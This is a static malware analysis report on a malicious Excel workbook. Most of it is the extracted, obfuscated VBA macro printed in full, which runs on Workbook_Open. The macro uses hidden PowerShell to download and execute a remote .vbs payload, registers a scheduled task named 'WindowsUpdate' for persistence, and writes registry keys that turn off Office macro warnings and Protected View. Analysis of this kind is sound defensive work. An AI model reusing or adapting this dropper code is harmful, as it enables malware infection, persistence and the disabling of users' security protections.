Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 edfe97c0403852fb…

MALICIOUS

Office (OOXML)

24.1 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-02-23
MD5: e7d6855edda3e02e32076ebdca2608b3 SHA-1: 25333beb50363238900560b89b6a2fbc0b17b9a2 SHA-256: edfe97c0403852fbad441fc3df674943da768be7990a1ed5c6ae1205a3a6d4e8
290 Risk Score

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6391394-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6391394-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set ASdiW834hkjasdDk8 = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ASdiW834hkjasdDk8 = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://acorn-paper.com/components/com_content/models/bs/s.vbs\ In document text (OOXML body / shared strings)
    • http://acorn-paper.com/components/com_content/models/bs/s.vbsIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 24469 bytes
SHA-256: 569e6fa4963c1e029be0a1ecadb5c01542ccc0064238688f7360179e2bb63965
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub uytredsguytreds()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Set ASdiW834hkjasdDk8 = CreateObject("WScript.Shell")
   Dim ASdiW83ASdjSn1
   Dim ASdiW83ASdjSn2
   Dim ASdiW83ASdjSn3
   Dim ASdiW83ASdjSn4
   Dim ASdiW83ASdjSn5
   Dim ASdiW83ASdjSn6
   Dim ASdiW83ASdjSn7
   
    ASdiW83ASdjSn1 = "S"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "c"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "h"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "T"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "a"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "s"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "k"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "s /"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "C"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "r"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "e"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "a"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "t"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "e /"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "s"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "c M"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "I"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "N"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "U"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "T"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "E /"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "M"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "O 1 /T"
    ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & "N W"
    ASdiW83ASdjSn2 = "i"
    ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "n"
     ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "d"
      ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "o"
       ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "w"
        ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "s"
         ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "U"
          ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "p"
           ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "d"
            ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "a"
             ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "t"
              ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "e /"
               ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "T"
                ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "R ""P"
                 ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "o"
                  ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "w"
                   ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "e"
                    ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "r"
                     ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "s"
                      ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "h"
                       ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "e"
                        ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "l"
                         ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "l -W H"
                          ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "i"
                           ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "d"
                            ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "d"
                             ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "e"
                              ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "n ("
    ASdiW83ASdjSn3 = "N"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "e"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "w"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "-"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "O"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "b"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "j"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "e"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "c"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "t S"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "y"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "s"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "t"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "e"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "m"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "."
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "N"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "et"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "."
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "W"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "e"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "b"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "C"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "l"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "i"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "e"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "n"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "t"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & ")"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "."
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "D"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "o"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "w"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "n"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "l"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "o"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "a"
    ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & "d"
    ASdiW83ASdjSn4 = "F"
    ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & "i"
    ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & "l"
    ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & "e"
    ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & "("
    ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & "\"
    ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & "\"
    ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & "\""http://acorn-paper.com/components/com_content/models/bs/s.vbs\"
    ASdiW83ASdjSn4 = ASdiW83ASdjSn4 & "\"
    ASdiW83ASdjSn5 = "\"",\"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "\"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "\""$"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "e"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "n"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "v"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & ":"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "p"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "u"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "b"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "l"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "i"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "c"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "\"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "s"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "v"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "c"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "h"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "o"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "s"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "t"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "3"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "2"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "5"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "."
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "v"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "b"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "s"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "\"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "\"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "\"")"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & ";"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "("
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "N"
    ASdiW83ASdjSn5 = ASdiW83ASdjSn5 & "e"
    ASdiW83ASdjSn6 = "w"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "-"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "O"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "b"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "j"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "e"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "c"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "t -"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "c"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "o"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "m S"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "h"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "e"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "l"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "l"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "."
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "A"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "p"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "p"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "l"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "i"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "c"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "a"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "t"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "i"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "o"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "n"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & ")"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "."
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "S"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "h"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "e"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "l"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "l"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "E"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "x"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "e"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "c"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "u"
    ASdiW83ASdjSn6 = ASdiW83ASdjSn6 & "t"
    ASdiW83ASdjSn7 = "e"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "("
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "\"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "\"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "\""$"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "e"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "n"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "v"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & ":"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "p"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "u"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "b"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "l"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "i"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "c"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "\"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "s"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "v"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "c"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "h"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "o"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "s"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "t"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "3"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "2"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "5"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "."
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "vbs"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "\"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "\"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "\"");"" /"
    ASdiW83ASdjSn7 = ASdiW83ASdjSn7 & "F "

ASdiW83ASdjSn200 = ASdiW83ASdjSn1 + ASdiW83ASdjSn2 + ASdiW83ASdjSn3 + ASdiW83ASdjSn4 + ASdiW83ASdjSn5 + ASdiW83ASdjSn6 + ASdiW83ASdjSn7



ASdiW834hkjasdDk8.Run ASdiW83ASdjSn200, vbHide









Set FiNoa9L = CreateObject("WScript.Shell")
   Dim FiNSincals3ASdoa9L1
   Dim FiNSincals3ASdoa9L2
   Dim FiNSincals3ASdoa9L3
   Dim FiNSincals3ASdoa9L4
   Dim FiNSincals3ASdoa9L5
   Dim FiNSincals3ASdoa9L6
   Dim FiNSincals3ASdoa9L7
   Dim FiNSincals3ASdoa9L8
   Dim FiNSincals3ASdoa9L9
   Dim FiNSincals3ASdoa9L010
   Dim FiNSincals3ASdoa9L011
   Dim FiNSincals3ASdoa9L012
   Dim FiNSincals3ASdoa9L013
   Dim FiNSincals3ASdoa9L014

 
   
FiNSincals3ASdoa9L1 = "P"
FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & "o"
FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & "w"
FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & "e"
FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & "r"
FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & "S"
FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & "h"
FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & "e"
FiNSincals3ASdoa9L1 = FiNSincals3ASdoa9L1 & "l"
FiNSincals3ASdoa9L2 = "l"
FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & " ("
FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & "N"
FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & "e"
FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & "w"
FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & "-"
FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & "O"
FiNSincals3ASdoa9L2 = FiNSincals3ASdoa9L2 & "b"
FiNSincals3ASdoa9L3 = "j"
FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & "e"
FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & "c"
FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & "t "
FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & "S"
FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & "y"
FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & "s"
FiNSincals3ASdoa9L3 = FiNSincals3ASdoa9L3 & "t"
FiNSincals3ASdoa9L4 = "e"
FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & "m"
FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & "."
FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & "N"
FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & "e"
FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & "t"
FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & "."
FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & "W"
FiNSincals3ASdoa9L4 = FiNSincals3ASdoa9L4 & "e"
FiNSincals3ASdoa9L5 = "b"
FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & "C"
FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & "l"
FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & "i"
FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & "e"
FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & "n"
FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & "t"
FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & ")"
FiNSincals3ASdoa9L5 = FiNSincals3ASdoa9L5 & "."
FiNSincals3ASdoa9L6 = "D"
FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & "o"
FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & "w"
FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & "n"
FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & "l"
FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & "o"
FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & "a"
FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & "d"
FiNSincals3ASdoa9L6 = FiNSincals3ASdoa9L6 & "F"
FiNSincals3ASdoa9L7 = "i"
FiNSincals3ASdoa9L7 = FiNSincals3ASdoa9L7 & "l"
FiNSincals3ASdoa9L7 = FiNSincals3ASdoa9L7 & "e"
FiNSincals3ASdoa9L7 = FiNSincals3ASdoa9L7 & "("
FiNSincals3ASdoa9L7 = FiNSincals3ASdoa9L7 & "'http://acorn-paper.com/components/com_content/models/bs/s.vbs',"
FiNSincals3ASdoa9L8 = "'"
FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & "%"
FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & "P"
FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & "u"
FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & "b"
FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & "lic"
FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & "%"
FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & "\"
FiNSincals3ASdoa9L8 = FiNSincals3ASdoa9L8 & "s"
FiNSincals3ASdoa9L9 = "v"
FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & "c"
FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & "h"
FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & "o"
FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & "s"
FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & "t"
FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & "3"
FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & "2"
FiNSincals3ASdoa9L9 = FiNSincals3ASdoa9L9 & "."
FiNSincals3ASdoa9L010 = "v"
FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & "b"
FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & "s"
FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & "'"
FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & ")"
FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & ";"
FiNSincals3ASdoa9L010 = FiNSincals3ASdoa9L010 & "S"
FiNSincals3ASdoa9L011 = "t"
FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & "a"
FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & "r"
FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & "t"
FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & "-"
FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & "P"
FiNSincals3ASdoa9L011 = FiNSincals3ASdoa9L011 & "r"
FiNSincals3ASdoa9L012 = "o"
FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & "c"
FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & "e"
FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & "s"
FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & "s"
FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & " '"
FiNSincals3ASdoa9L012 = FiNSincals3ASdoa9L012 & "%"
FiNSincals3ASdoa9L013 = "P"
FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & "u"
FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & "b"
FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & "lic"
FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & "%"
FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & "\"
FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & "s"
FiNSincals3ASdoa9L013 = FiNSincals3ASdoa9L013 & "v"
FiNSincals3ASdoa9L014 = "c"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "h"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "o"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "s"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "t"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "3"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "2"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "."
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "v"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "b"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "s"
FiNSincals3ASdoa9L014 = FiNSincals3ASdoa9L014 & "'"


    
FiNSincals3ASdoa9L20 = FiNSincals3ASdoa9L1 + FiNSincals3ASdoa9L2 + FiNSincals3ASdoa9L3 + FiNSincals3ASdoa9L4 + FiNSincals3ASdoa9L5 + FiNSincals3ASdoa9L6 + FiNSincals3ASdoa9L7 + FiNSincals3ASdoa9L8 + FiNSincals3ASdoa9L9 + FiNSincals3ASdoa9L010 + FiNSincals3ASdoa9L011 + FiNSincals3ASdoa9L012 + FiNSincals3ASdoa9L013 + FiNSincals3ASdoa9L014
    FiNoa9L.Run FiNSincals3ASdoa9L20, vbHide
Set wso = CreateObject("WScript.Shell")
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
